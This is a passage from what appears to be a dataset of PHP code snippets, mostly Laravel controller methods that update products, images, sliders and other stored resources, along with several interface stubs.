Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
